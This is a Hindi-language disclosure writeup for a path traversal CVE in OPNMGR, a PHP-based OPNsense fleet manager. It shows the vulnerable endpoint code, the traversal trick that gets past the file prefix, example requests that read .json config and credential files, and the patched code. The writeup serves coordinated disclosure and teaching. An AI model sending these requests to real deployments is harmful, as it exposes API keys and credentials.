
CVE-2026-103978 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और राइटअप, जो OPNMGR के snyk_scan_progress.php में एक अनऑथेंटिकेटेड पाथ ट्रैवर्सल है जो मनमानी .json फ़ाइल पढ़ने की अनुमति देता है।
मनमानी .json फ़ाइल पढ़ना, लॉगिन की आवश्यकता नहीं। यह agit8or1/OPNMGR के स्रोत को पढ़ते समय मिला, जो PHP में लिखा गया एक OPNsense फ्लीट मैनेजर है।
| CVE | CVE-2026-103978 |
| Advisory | GHSA-8x7v-vwpx-3wr7 |
| Class | CWE-22 (Path Traversal) |
| Auth | none |
| CVSS v3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 High |
| Fixed in | v3.10.0 |
| Credit | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php वेब रूट में मौजूद है और क्वेरी स्ट्रिंग से सीधे scan_id लेता है, उसे फ़ाइल पथ में चिपका देता है, और परिणाम file_get_contents() को सौंप देता है। कोई auth include नहीं, कोई session check नहीं, पैरामीटर की कोई sanitising नहीं।
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
ऐप में हर अन्य endpoint कुछ भी करने से पहले inc/bootstrap.php को शामिल करता है और requireLogin() को कॉल करता है। यह वाला इन सबको छोड़ देता है। इसलिए scan_id हमलावर के नियंत्रण में है, सीधे पथ में जाता है, और फ़ाइल का मुख्य भाग प्रतिक्रिया में वापस आ जाता है।
एक अड़चन: उपसर्ग snyk_scan_ आपके द्वारा भेजे गए किसी भी चीज़ से चिपक जाता है, इसलिए .. से शुरू होने वाला payload खा लिया जाता है (snyk_scan_.. तो /tmp में बस एक अजीब फ़ाइलनाम है)। आपको पहले एक फेंकने योग्य सेगमेंट चाहिए ताकि .. वास्तव में पैरेंट-डायरेक्टरी हॉप बन जाए:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
अंत में .json कोड द्वारा जबरन जोड़ा जाता है और आधुनिक PHP में कोई null-byte ट्रिक नहीं है, इसलिए आप केवल उन फ़ाइलों को पढ़ सकते हैं जो .json पर समाप्त होती हैं। वास्तविक PHP परिनियोजन में यह कोई बड़ी सीमा नहीं है। कॉन्फ़िग फ़ाइलें, service-account keys, composer auth.json, cloud credentials, अधिकांश रसीली चीज़ें पहले से ही .json हैं।
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
poc/poc.sh में एक चलाने योग्य संस्करण है।
कोई भी फ़ाइल जो .json पर समाप्त होती है और जिसे www-data पढ़ सकता है, उसे कोई भी व्यक्ति जो पेज तक पहुँच सकता है, देख सकता है। OPNsense फ़ायरवॉल प्रबंधित करने वाले बॉक्स पर इसका आमतौर पर मतलब API keys और credentials होता है।
ऐप के बाकी हिस्से द्वारा उपयोग किया जाने वाला auth include जोड़ें, और पथ बनाने से पहले scan_id को एक सख्त allow-list के विरुद्ध मान्य करें:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
मेंटेनर ने v3.10.0 में समाधान जारी किया।
समन्वित प्रकटीकरण के माध्यम से रिपोर्ट किया गया। कमजोर संस्करण अब वर्तमान रिलीज़ नहीं है। Writeup संदर्भ और सीखने के लिए यहाँ है।